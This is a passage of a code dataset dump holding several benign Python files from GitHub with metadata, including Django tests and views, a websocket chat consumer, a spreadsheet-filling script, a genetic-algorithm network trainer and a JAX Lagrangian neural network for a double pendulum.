delete_project(data={PROJECT_ID: self.pid})\n        self.assertEqual(code, 200)\n        self.assertEqual(res, {})\n        self.assertEqual(Project.objects.count(), 0)\n\n\nclass RenameProjectTest(TestCase):\n\n    def setUp(self) -> None:\n        self.pid = create_project(name='test_project')\n\n    def test_basic(self):\n        \"\"\"\n        Makes a simple call.\n        \"\"\"\n        code, res = rename_project(data={PROJECT_ID: self.pid, PROJECT_NAME: 'new_name'})\n        self.assertEqual(code, 200)\n        self.assertEqual(get_project_by_id(pid=self.pid).name, 'new_name')\n", "repo_name": "Software-Engineering-Bachelor-Project/mycroft", "sub_path": "backend/test/test_integration/test_project_manager.py", "file_name": "test_project_manager.py", "file_ext": "py", "file_size_in_byte": 1838, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.test.TestCase", "line_number": 7, "usage_type": "name"}, {"api_name": "django.test.TestCase", "line_number": 29, "usage_type": "name"}, {"api_name": "django.test.TestCase", "line_number": 42, "usage_type": "name"}, {"api_name": "django.test.TestCase", "line_number": 57, "usage_type": "name"}]}
{"seq_id": "18713366272", "text": "from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n    # ex: /device/\n    url(r'^$', views.info, name='info'),\n    url(r'^networkinfo$', views.networkinfo, name='network'),\n    url(r'^networkinfo/(?P<nodename>\\w+-\\w+)$', views.networkinfo, name='networkinfo'),\n    url(r'^(?P<devname>\\w+-\\w+-\\w+-\\w+)$', views.device, name='device'),\n]\n", "repo_name": "zhzhdwy/python-cmdb-chinacache", "sub_path": "device/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 355, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.conf.urls.url", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}]}
{"seq_id": "33605558792", "text": "import json\nfrom channels.generic.websocket import WebsocketConsumer\nfrom asgiref.sync import async_to_sync\nfrom chat.models import Chat\n\n# daphne -b 0.0.0.0 -p 8000 circlemarket.routing:application\nclass ChatConsumer(WebsocketConsumer):\n    def connect(self):\n        self.room_name = self.scope['url_route']['kwargs']['chat_slug']\n        self.room_group_name = \"chat_%s\" % (self.room_name)\n        # self.chat = Chat.objects.get(slug=self.room_name)\n        async_to_sync(self.channel_layer.group_add)(\n            self.room_group_name,\n            self.channel_name\n        )\n        self.accept()\n    \n    def receive(self, text_data):\n        text_data_json = json.loads(text_data)\n        message = text_data_json['message']\n        async_to_sync(self.channel_layer.group_send)(\n            self.room_group_name,\n            {\n                'type': 'chat_message',\n                'message': message,\n            }\n        )\n    \n    def chat_message(self, event):\n        message = event['message']\n        # Send message to WebSocket\n        self.send(text_data=json.dumps({\n            'message' : message,\n            'type' : 'message_sent',\n        }))\n", "repo_name": "dauntless001/whatsapp-clone-backend", "sub_path": "chat/consumers.py", "file_name": "consumers.py", "file_ext": "py", "file_size_in_byte": 1168, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "channels.generic.websocket.WebsocketConsumer", "line_number": 7, "usage_type": "name"}, {"api_name": "asgiref.sync.async_to_sync", "line_number": 12, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 19, "usage_type": "call"}, {"api_name": "asgiref.sync.async_to_sync", "line_number": 21, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 32, "usage_type": "call"}]}
{"seq_id": "20840736627", "text": "# -*- coding: utf-8 -*\n'''\n填补空白单元格的蔬菜名称和批发市场名称\n修改日期格式\n'''\n\nimport xlrd\nimport xlwt\nfrom xlutils.copy import copy\n\nworkbook = xlrd.open_workbook(r\"D:\\p\\p001\\1.1-1.10.xls\")\nprint(workbook.sheet_names())\n\nsheet1 = workbook.sheet_by_index(0)\nprint('index为0的sheet：', sheet1.name, sheet1.nrows, sheet1.ncols)\nsheet01 = workbook.sheet_by_name('Report')\nprint('name为Report的sheet：', sheet01.name, sheet1.nrows, sheet1.ncols)\n\n\nnrows = sheet1.nrows\nncols = sheet1.ncols\n\n#copy已读取的文件\nbook = copy(workbook)\n#获取名为Report的sheet\nsheet2 = book.get_sheet('Report')\n\n#在第11行添加标题栏\nhead = ['蔬菜','批发市场','日期','大宗价','最高价','最低价','交易量','产地']\nfor i in range(0,8):\n    sheet2.row(10).write(i,head[i])\n    print('正在修改第'+str(i)+'个标题栏')\n\n#填补蔬菜栏的空白\ntempVeg =''\nfor i in range(11, nrows):\n    if sheet01.cell_value(i,0) is not \"\":\n        print(i)\n        tempVeg = sheet01.cell_value(i, 0)\n        i += 1\n    else:\n        sheet2.write(i, 0, tempVeg)\n        i += 1\n\n#填补批发市场的空白\ntempMarket =''\nfor i in range(11, nrows):\n    if sheet01.cell_value(i,1) is not \"\":\n        print(i)\n        tempMarket = sheet01.cell_value(i, 1)\n        i += 1\n    else:\n        sheet2.write(i, 1, tempMarket)\n        i += 1\nprint('已完成填补批发市场')\n\n#修改日期单元格\n'''\ndatevalue = sheet01.cell_value(13, 2)\nprint(datevalue)\n'''\nfor i in range(13, nrows):\n    datevalue = sheet01.cell_value(i, 2)\n    sheet2.write(i, 2, datevalue[9:])\n    i += 1\n\n#保存\nbook.save(r\"D:\\p\\p001\\201701_1.xls\")\n", "repo_name": "oldmalebird/pythonPractice", "sub_path": "p001_fillBlankCell.py", "file_name": "p001_fillBlankCell.py", "file_ext": "py", "file_size_in_byte": 1654, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "xlrd.open_workbook", "line_number": 11, "usage_type": "call"}, {"api_name": "xlutils.copy.copy", "line_number": 24, "usage_type": "call"}]}
{"seq_id": "37927829337", "text": "from django.apps import apps\nfrom django.conf import settings\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.core.serializers.json import DjangoJSONEncoder\nfrom django.core.urlresolvers import reverse\nimport django\n\nimport json\nimport six\n\ndef to_json(data):\n    kw = {}\n    if six.PY2:\n        kw['encoding'] = 'utf-8'\n    return json.dumps(data, cls=DjangoJSONEncoder, ensure_ascii=False, separators=(',',':'), **kw)\n\ndef get_setting(name):\n    \"\"\" Looks for settings under DJANGO_HISTORY_SETTINGS, supporting dot notation for nested lookups,\n    eg. get_setting('EXCLUDE_CHANGES.fields') \"\"\"\n    dh = getattr(settings, 'DJANGO_HISTORY_SETTINGS', {})\n    result = None\n    for k in name.split('.'):\n        if dh is None:\n            continue\n        result = dh.get(k, None)\n        dh = result\n    return result\n\ndef get_relation(rel):\n    if django.VERSION[:2] >= (1, 9):\n        instance = rel.remote_field.model\n    elif django.VERSION[:2] >= (1, 8):\n        instance = rel.related.model\n    else:\n        instance = rel.related.parent_model\n    return instance\n\ndef models_listing():\n    c = []\n    for m in apps.get_models():\n        ct = get_ct(m)\n        url = reverse(\"history-by-ct\", kwargs=dict(ct_id=ct.id))\n        c.append(dict(url=url, name=m._meta.object_name, model=m))\n    return c\n\ndef models_schemas(models=None):\n    models = models or models_listing()\n    d = {}\n    for model in models:\n        d.setdefault(model['name'], {})\n        f = []\n        for field in model['model']._meta.get_fields(include_hidden=True):\n            f.append(dict(cls=field.__class__.__name__,\n                          name=field.name,\n                          hidden=field.hidden),)\n        d[model['name']].setdefault('fields', f)\n    return d\n\ndef get_ct_by_id(pk):\n    return ContentType.objects.get(pk=pk)\n\ndef get_ct(model):\n    return ContentType.objects.get_for_model(model)\n\ndef match_field(model, changed_field):\n    try:\n        field = model._meta.get_field(changed_field)\n    except:\n        field = model._meta.get_field(changed_field.replace('_id', ''))\n    return field\n", "repo_name": "futurice/django-history", "sub_path": "djangohistory/helpers.py", "file_name": "helpers.py", "file_ext": "py", "file_size_in_byte": 2117, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "six.PY2", "line_number": 13, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 15, "usage_type": "call"}, {"api_name": "django.core.serializers.json.DjangoJSONEncoder", "line_number": 15, "usage_type": "name"}, {"api_name": "django.conf.settings", "line_number": 20, "usage_type": "argument"}, {"api_name": "django.VERSION", "line_number": 30, "usage_type": "attribute"}, {"api_name": "django.VERSION", "line_number": 32, "usage_type": "attribute"}, {"api_name": "django.apps.apps.get_models", "line_number": 40, "usage_type": "call"}, {"api_name": "django.apps.apps", "line_number": 40, "usage_type": "name"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 42, "usage_type": "call"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects.get", "line_number": 60, "usage_type": "call"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "django.contrib.contenttypes.models.ContentType", "line_number": 60, "usage_type": "name"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects.get_for_model", "line_number": 63, "usage_type": "call"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects", "line_number": 63, "usage_type": "attribute"}, {"api_name": "django.contrib.contenttypes.models.ContentType", "line_number": 63, "usage_type": "name"}]}
{"seq_id": "16230784212", "text": "import GA\nfrom sklearn.datasets import load_breast_cancer\nimport time\n\ndef print_top_networks(networks):\n    print(\"Top \" + str(len(networks)) + \" networks:\")\n    for i in range(0, len(networks)):\n        print(\"Network #\" + str(i) + \" Loss: \" + str(networks[i][0].__getattribute__('loss_')))\n        for j in range(0, len(networks[i][0].__getattribute__('coefs_'))):\n            print(\"    Hidden Layer: \" + str(j) + \" Nodes: \" + str(len(networks[i][0].__getattribute__('coefs_')[j])))\n        print(\"  Time: \" + str(networks[i][1]))\n\n\ndef train_networks(networks, X, y):\n    # Train the neural networks\n    i = 0\n    print(\"    \" + str(len(networks)) + \" networks to train\")\n    for network in networks:\n        start = time.time()\n        network[0].fit(X, y)\n        end = time.time()\n        print(\"    Training network: \" + str(i))\n        total_time = end - start\n        network[1] = total_time\n        i += 1\n\ndef get_average_accuracy(networks):\n    # Get the average accuracy for a group of networks\n    total_accuracy = 0\n    total_time = 0\n    for network in networks:\n        total_accuracy += network[0].__getattribute__('loss_')\n        total_time += network[1]\n\n    return [(total_accuracy / len(networks)), (total_time / len(networks))]\n\n\ndef generate(generations, population, X, y, time_weight, network_params):\n    # Generate a network with the genetic algorithm\n    optimizer = GA.Optimizer()\n    networks = optimizer.create_population(population, network_params)\n\n    # Evolve the generation.\n    for i in range(generations):\n        print(\"***Doing generation %d of %d***\" %\n              (i + 1, generations))\n\n        # Train and get accuracy for networks.\n        train_networks(networks, X, y)\n\n        # Get the average accuracy for this generation.\n        average_accuracy_n_time = get_average_accuracy(networks)\n\n        # Print out the average accuracy each generation.\n        print(\"Generation average loss: %.2f\" % (average_accuracy_n_time[0]))\n        print(\"Generation time average: %f\" % average_accuracy_n_time[1])\n        print('-' * 80)\n\n        # Evolve, except on the last iteration.\n        if i != generations - 1:\n            # Do the evolution.\n            networks = optimizer.evolve(networks, time_weight)\n\n    # Sort our final population.\n    networks = sorted(networks, key=lambda x: (optimizer.fitness(x, time_weight)), reverse=True)\n\n    # Print out the top 5 networks.\n    print_top_networks(networks[:5])\n\n\ndef main():\n    #Evolve a network\n    generations = 3  # Number of times to evolve the population.\n    population = 10  # Number of networks in each generation.\n    # Allows you to select from 0 to 1 how much you want to weight the speed of the neural network training vs the accuracy\n    time_weight = 0\n    # Network parameters, network_params[0]: tuple of layer ranges, network_params[1]: tuple of nodes per layer\n    network_params = [(0, 9), (1, 100)]\n    X, y = load_breast_cancer(return_X_y=True)\n    print(\"***Evolving %d generations with population %d***\" %\n          (generations, population))\n\n    generate(generations, population, X, y, time_weight, network_params)\n\nmain()\n", "repo_name": "msloma144/NeuralNetWithGA", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3147, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "time.time", "line_number": 19, "usage_type": "call"}, {"api_name": "time.time", "line_number": 21, "usage_type": "call"}, {"api_name": "GA.Optimizer", "line_number": 40, "usage_type": "call"}, {"api_name": "sklearn.datasets.load_breast_cancer", "line_number": 79, "usage_type": "call"}]}
{"seq_id": "37557486196", "text": "# Step 1: Importing Libraries\n# This section imports the required libraries such as JAX, NumPy, and Matplotlib for numerical computations, plotting, and optimization. It also imports some specific modules such as odeint for solving ordinary differential equations, stax and optimizers for building and training neural networks, and ImageSequenceClip for creating videos from a sequence of images.\n\n# Step 2: Setting up the GPU\n# This section checks whether a GPU is available for running the script using the xla_bridge library from JAX.\n\n# Step 3: Defining the Double Pendulum System\n# This section defines the Lagrangian of a double pendulum system using its kinetic and potential energy. It also defines a function for solving the equations of motion of the system using the Lagrangian.\n\n# Step 4: Defining Helper Functions\n# This section defines some helper functions such as the analytical solution of the double pendulum system, a function for normalizing the state of the system, and a function for taking a single step in the Runge-Kutta integration method.\n\n# Step 5: Generating Training Data\n# This section generates training data for the Lagrangian Neural Network by using the analytical method to sample double pendulum dynamics. The script loads a pre-generated dataset from a MATLAB file and preprocesses the data by normalizing the state of the system.\n\n# Step 6: Building a Lagrangian Neural Network\n# This section builds a Lagrangian Neural Network model using a feedforward neural network with two hidden layers and a single output. The script defines the loss function for the model as the mean squared error between predicted and target states of the system. It also defines the optimization algorithm as Adam with a learning rate schedule.\n\n\n#%%\n# Step 1: Import necessary libraries\nimport jax\nimport jax.numpy as jnp\nimport numpy as np\nfrom jax.experimental.ode import odeint\nimport matplotlib.pyplot as plt\nfrom functools import partial\nfrom jax.experimental import stax\nfrom jax.experimental import optimizers\nimport scipy.io as sio\n\n# Step 2: Define the Lagrangian and equations of motion\ndef lagrangian(q, q_dot, m1, m2, l1, l2, g):\n  # Compute kinetic energy T\n  t1, t2 = q     # theta 1 and theta 2\n  w1, w2 = q_dot # omega 1 and omega 2\n  T1 = 0.5 * m1 * (l1 * w1)**2\n  T2 = 0.5 * m2 * ((l1 * w1)**2 + (l2 * w2)**2 + 2 * l1 * l2 * w1 * w2 * jnp.cos(t1 - t2))\n  T = T1 + T2\n  \n  # Compute potential energy V\n  y1 = -l1 * jnp.cos(t1)\n  y2 = y1 - l2 * jnp.cos(t2)\n  V = m1 * g * y1 + m2 * g * y2\n\n  # Return Lagrangian L = T - V\n  return T - V\n\ndef f_analytical(state, t=0, m1=1, m2=1, l1=1, l2=1, g=9.8):\n  # Compute forces analytically\n  t1, t2, w1, w2 = state\n  a1 = (l2 / l1) * (m2 / (m1 + m2)) * jnp.cos(t1 - t2)\n  a2 = (l1 / l2) * jnp.cos(t1 - t2)\n  f1 = -(l2 / l1) * (m2 / (m1 + m2)) * (w2**2) * jnp.sin(t1 - t2) - (g / l1) * jnp.sin(t1)\n  f2 = (l1 / l2) * (w1**2) * jnp.sin(t1 - t2) - (g / l2) * jnp.sin(t2)\n  g1 = (f1 - a1 * f2) / (1 - a1 * a2)\n  g2 = (f2 - a2 * f1) / (1 - a1 * a2)\n  return jnp.stack([w1, w2, g1, g2])\n\ndef equation_of_motion(lagrangian, state, t=None):\n  # Compute equations of motion using the Euler-Lagrange equation\n  q, q_t = jnp.split(state, 2)\n  q_tt = (jnp.linalg.pinv(jax.hessian(lagrangian, 1)(q, q_t))\n          @ (jax.grad(lagrangian, 0)(q, q_t)\n             - jax.jacobian(jax.jacobian(lagrangian, 1), 0)(q, q_t) @ q_t))\n  return jnp.concatenate([q_t, q_tt])\n\n\n\ndef solve_lagrangian(lagrangian, initial_state, **kwargs):\n  # We currently run odeint on CPUs only, because its cost is dominated by\n  # control flow, which is slow on GPUs.\n  @partial(jax.jit, backend='cpu')\n  def f(initial_state):\n    return odeint(partial(equation_of_motion, lagrangian),\n                  initial_state, **kwargs)\n  return f(initial_state)\n\ndef forcesapplied(lagrangian, state, t=None):\n  q, q_t = jnp.split(state, 2)\n  q_tt = (jnp.linalg.pinv(jax.hessian(lagrangian, 1)(q, q_t))\n          @ (jax.grad(lagrangian, 0)(q, q_t)\n             - jax.jacobian(jax.jacobian(lagrangian, 1), 0)(q, q_t) @ q_t))\n  tau=jax.hessian(lagrangian, 1)(q, q_t)@q_tt-((jax.grad(lagrangian, 0)(q, q_t)- jax.jacobian(jax.jacobian(lagrangian, 1), 0)(q, q_t) @ q_t))\n  return tau\n\ndef equation_of_motion_forced(lagrangian, state,force, t=None):\n  q, q_t = jnp.split(state, 2)\n  q_tt = (jnp.linalg.pinv(jax.hessian(lagrangian, 1)(q, q_t))\n          @ (jax.grad(lagrangian, 0)(q, q_t)\n             - jax.jacobian(jax.jacobian(lagrangian, 1), 0)(q, q_t) @ q_t)-force)\n  return jnp.concatenate([q_t, q_tt])\n\n\n\"\"\"### Helper functions\n\n\"\"\"\n\n# Double pendulum dynamics via the rewritten Euler-Lagrange\n@partial(jax.jit, backend='cpu')\ndef solve_autograd(initial_state, times, m1=1, m2=1, l1=1, l2=1, g=9.8):\n  L = partial(lagrangian, m1=m1, m2=m2, l1=l1, l2=l2, g=g)\n  return solve_lagrangian(L, initial_state, t=times, rtol=1e-10, atol=1e-10)\n\n# Double pendulum dynamics via analytical forces taken from Diego's blog\n@partial(jax.jit, backend='cpu')\ndef solve_analytical(initial_state, times):\n  return odeint(f_analytical, initial_state, t=times, rtol=1e-10, atol=1e-10)\n\ndef normalize_dp(state):\n  # wrap generalized coordinates to [-pi, pi]\n  return jnp.concatenate([(state[:2] + np.pi) % (2 * np.pi) - np.pi, state[2:]])\n\ndef rk4_step(f, x, t, h):\n  # one step of runge-kutta integration\n  k1 = h * f(x, t)\n  k2 = h * f(x + k1/2, t + h/2)\n  k3 = h * f(x + k2/2, t + h/2)\n  k4 = h * f(x + k3, t + h)\n  return x + 1/6 * (k1 + 2 * k2 + 2 * k3 + k4)\n\n\n\n\n\"\"\"## **Step 5: Generate training data**\nLet's generate some training data by using the analytical method to sample double pendulum dynamics.\n\n\"\"\"\n#\nload_data = sio.loadmat('robotarm_iodata.mat')\n\ndata = load_data['robotarm_iodata'][0, 0]\n\nbatch_states = data['batch_states'][0]\nbatch_statep=data['batch_statesp'][0]\n\n# Commented out IPython magic to ensure Python compatibility.\ntime_step = 0.1\nN = 15000\nanalytical_step = jax.jit(jax.vmap(partial(rk4_step, f_analytical, t=0.0, h=time_step)))\n\nx0 = np.array([-0.3*np.pi, 0.2*np.pi, 0.35*np.pi, 0.5*np.pi], dtype=np.float32)\nx0 = np.array([3*np.pi/7, 3*np.pi/4, 0, 0], dtype=np.float32)\nt = 0.1*np.arange(N, dtype=np.float32) # time steps 0 to N\nx1_train = jax.device_get(solve_analytical(x0, t)) # dynamics for first N time steps\nx1t_train = jax.device_get(jax.vmap(f_analytical)(x1_train)) # time derivatives of each state\ny1_train = jax.device_get(analytical_step(x1_train)) # analytical next step\n\n\nt = np.arange(N, dtype=np.float32) # time steps 0 to N\nx_train = batch_states[0:14999] # dynamics for first N time steps\nxt_train = batch_statep[0:14999] # time derivatives of each state\ny_train = batch_states[1:15000] # analytical next step\n\nx_test = batch_states[15001:30000] \nxt_test = batch_statep[15001:30000]\ny_test = batch_states[15002:30001]\n\n\n\n\"\"\"### Visualize train and test data\"\"\"\n\n# preprocess\ntrain_vis = jax.vmap(normalize_dp)(x_train)\ntest_vis = jax.vmap(normalize_dp)(x_test)\n\nvel_angle = lambda data:  (np.arctan2(data[:,3], data[:,2]) / np.pi + 1)/2\nvel_color = lambda vangle: np.stack( [np.zeros_like(vangle), vangle, 1-vangle]).T\ntrain_colors = vel_color(vel_angle(train_vis))\ntest_colors = vel_color(vel_angle(test_vis))\n\n# plot\nSCALE = 80 ; WIDTH = 0.006\nplt.figure(figsize=[8,4], dpi=120)\nplt.subplot(1,2,1)\nplt.title(\"Train data\") ; plt.xlabel(r'$\\theta_1$') ; plt.ylabel(r'$\\theta_2$')\nplt.quiver(*train_vis.T, color=train_colors, scale=SCALE, width=WIDTH)\n\nplt.subplot(1,2,2)\nplt.title(\"Test data\") ; plt.xlabel(r'$\\theta_1$') ; plt.ylabel(r'$\\theta_2$')\nplt.quiver(*test_vis.T, color=test_colors, scale=SCALE, width=WIDTH)\n\nplt.tight_layout() ; plt.show()\n\n\"\"\"## **Step 6: Build a Lagrangian Neural Network**\nThis section presents a bare-bones approach to approximating the Lagrangian with a neural network\n\n### i) Build model and define the loss\n\n\"\"\"\n\n# replace the lagrangian with a parameteric model\ndef learned_lagrangian(params):\n  def lagrangian(q, q_t):\n    assert q.shape == (2,)\n    state = normalize_dp(jnp.concatenate([q, q_t]))\n    return jnp.squeeze(nn_forward_fn(params, state), axis=-1)\n  return lagrangian\n\n# define the loss of the model (MSE between predicted q, \\dot q and targets)\n@jax.jit\ndef loss(params, batch, time_step=None):\n  state, targets = batch\n  if time_step is not None:\n    f = partial(equation_of_motion, learned_lagrangian(params))\n    preds = jax.vmap(partial(rk4_step, f, t=0.0, h=time_step))(state)\n  else:\n    preds = jax.vmap(partial(equation_of_motion, learned_lagrangian(params)))(state)\n  return jnp.mean((preds - targets) ** 2)\n\n# build a neural network model\ninit_random_params, nn_forward_fn = stax.serial(\n    stax.Dense(128),\n    stax.Softplus,\n    stax.Dense(128),\n    stax.Softplus,\n    stax.Dense(1),\n)\ninit_random_params, f = stax.serial(\n    stax.Dense(128),\n    stax.Softplus,\n    stax.Dense(1),\n)\n\"\"\"### ii) Define optimization and data\"\"\"\n\n@jax.jit\ndef update_timestep(i, opt_state, batch):\n  params = get_params(opt_state)\n  return opt_update(i, jax.grad(loss)(params, batch, time_step), opt_state)\n\n@jax.jit\ndef update_derivative(i, opt_state, batch):\n  params = get_params(opt_state)\n  return opt_update(i, jax.grad(loss)(params, batch, None), opt_state)\n\nx_train = jax.device_put(jax.vmap(normalize_dp)(x_train))\ny_train = jax.device_put(y_train)\n\nx_test = jax.device_put(jax.vmap(normalize_dp)(x_test))\ny_test = jax.device_put(y_test)\n\n\"\"\"### iii) Train the model\"\"\"\n\n# Commented out IPython magic to ensure Python compatibility.\n\n \nrng = jax.random.PRNGKey(0)\n_, init_params = init_random_params(rng, (-1, 4))\n \n # numbers in comments denote stephan's settings\nbatch_size = 1000\ntest_every = 10\nnum_batches = 15000\n\ntrain_losses = []\ntest_losses = []\n \n# adam w learn rate decay\nopt_init, opt_update, get_params = optimizers.adam(\n    lambda t: jnp.select([t < batch_size*(num_batches//3),\n                           t < batch_size*(2*num_batches//3),\n                           t > batch_size*(2*num_batches//3)],\n                          [1e-3, 3e-4, 1e-4]))\nopt_state = opt_init(init_params)\n \nfor iteration in range(batch_size*num_batches + 1):\n  if iteration % batch_size == 0:\n    params = get_params(opt_state)\n    train_loss = loss(params, (x_train, xt_train))\n    train_losses.append(train_loss)\n    test_loss = loss(params, (x_test, xt_test))\n    test_losses.append(test_loss)\n    if iteration % (batch_size*test_every) == 0:\n      print(f\"iteration={iteration}, train_loss={train_loss:.6f}, test_loss={test_loss:.6f}\")\n  opt_state = update_derivative(iteration, opt_state, (x_train, xt_train))\n \nparams = get_params(opt_state)\n\n\n\njax.numpy.save('/params.npy',params)\n", "repo_name": "Anasjn2/Learning-the-Dynamics-ofMusculoskeletal-systems-withtrajectory-planning-main", "sub_path": "main/LNN/JaxLearning.py", "file_name": "JaxLearning.py", "file_ext": "py", "file_size_in_byte": 10597, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "jax.numpy.cos", "line_number": 38, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 38, "usage_type": "name"}, {"api_name": "jax.numpy.cos", "line_number": 42, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 42, "usage_type": "name"}, {"api_name": "jax.numpy.cos", "line_number": 43, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 43, "usage_type": "name"}, {"api_name": "jax.numpy.cos", "line_number": 52, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 52, "usage_type": "name"}, {"api_name": "jax.numpy.cos", "line_number": 53, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 53, "usage_type": "name"}, {"api_name": "jax.numpy.sin", "line_number": 54, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 54, "usage_type": "name"}, {"api_name": "jax.numpy.sin", "line_number": 55, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 55, "usage_type": "name"}, {"api_name": "jax.numpy.stack", "line_number": 58, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 58, "usage_type": "name"}, {"api_name": "jax.numpy.split", "line_number": 62, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 62, "usage_type": "name"}, {"api_name": "jax.numpy.linalg.pinv", "line_number": 63, "usage_type": "call"}, {"api_name": "jax.numpy.linalg", "line_number": 63, "usage_type": "attribute"}, {"api_name": "jax.numpy", "line_number": 63, "usage_type": "name"}, {"api_name": "jax.hessian", "line_number": 63, "usage_type": "call"}, {"api_name": "jax.grad", "line_number": 64, "usage_type": "call"}, {"api_name": "jax.jacobian", "line_number": 65, "usage_type": "call"}, {"api_name": "jax.numpy.concatenate", "line_number": 66, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 66, "usage_type": "name"}, {"api_name": "jax.experimental.ode.odeint", "line_number": 75, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 75, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 73, "usage_type": "call"}, {"api_name": "jax.jit", "line_number": 73, "usage_type": "attribute"}, {"api_name": "jax.numpy.split", "line_number": 80, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 80, "usage_type": "name"}, {"api_name": "jax.numpy.linalg.pinv", "line_number": 81, "usage_type": "call"}, {"api_name": "jax.numpy.linalg", "line_number": 81, "usage_type": "attribute"}, {"api_name": "jax.numpy", "line_number": 81, "usage_type": "name"}, {"api_name": "jax.hessian", "line_number": 81, "usage_type": "call"}, {"api_name": "jax.grad", "line_number": 82, "usage_type": "call"}, {"api_name": "jax.jacobian", "line_number": 83, "usage_type": "call"}, {"api_name": "jax.hessian", "line_number": 84, "usage_type": "call"}, {"api_name": "jax.grad", "line_number": 84, "usage_type": "call"}, {"api_name": "jax.jacobian", "line_number": 84, "usage_type": "call"}, {"api_name": "jax.numpy.split", "line_number": 88, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 88, "usage_type": "name"}, {"api_name": "jax.numpy.linalg.pinv", "line_number": 89, "usage_type": "call"}, {"api_name": "jax.numpy.linalg", "line_number": 89, "usage_type": "attribute"}, {"api_name": "jax.numpy", "line_number": 89, "usage_type": "name"}, {"api_name": "jax.hessian", "line_number": 89, "usage_type": "call"}, {"api_name": "jax.grad", "line_number": 90, "usage_type": "call"}, {"api_name": "jax.jacobian", "line_number": 91, "usage_type": "call"}, {"api_name": "jax.numpy.concatenate", "line_number": 92, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 92, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 102, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 100, "usage_type": "call"}, {"api_name": "jax.jit", "line_number": 100, "usage_type": "attribute"}, {"api_name": "jax.experimental.ode.odeint", "line_number": 108, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 106, "usage_type": "call"}, {"api_name": "jax.jit", "line_number": 106, "usage_type": "attribute"}, {"api_name": "jax.numpy.concatenate", "line_number": 112, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 112, "usage_type": "name"}, {"api_name": "numpy.pi", "line_number": 112, "usage_type": "attribute"}, {"api_name": "scipy.io.loadmat", "line_number": 130, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 130, "usage_type": "name"}, {"api_name": "jax.jit", "line_number": 140, "usage_type": "call"}, {"api_name": "jax.vmap", "line_number": 140, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 142, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 142, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 143, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 143, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 144, "usage_type": "attribute"}, {"api_name": "jax.device_get", "line_number": 145, "usage_type": "call"}, {"api_name": "jax.device_get", "line_number": 146, "usage_type": "call"}, {"api_name": "jax.vmap", "line_number": 146, "usage_type": "call"}, {"api_name": "jax.device_get", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 150, "usage_type": "attribute"}, {"api_name": "jax.vmap", "line_number": 164, "usage_type": "call"}, {"api_name": "jax.vmap", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 167, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 167, "usage_type": "attribute"}, {"api_name": "numpy.stack", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 168, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 174, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 174, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 175, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 175, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", 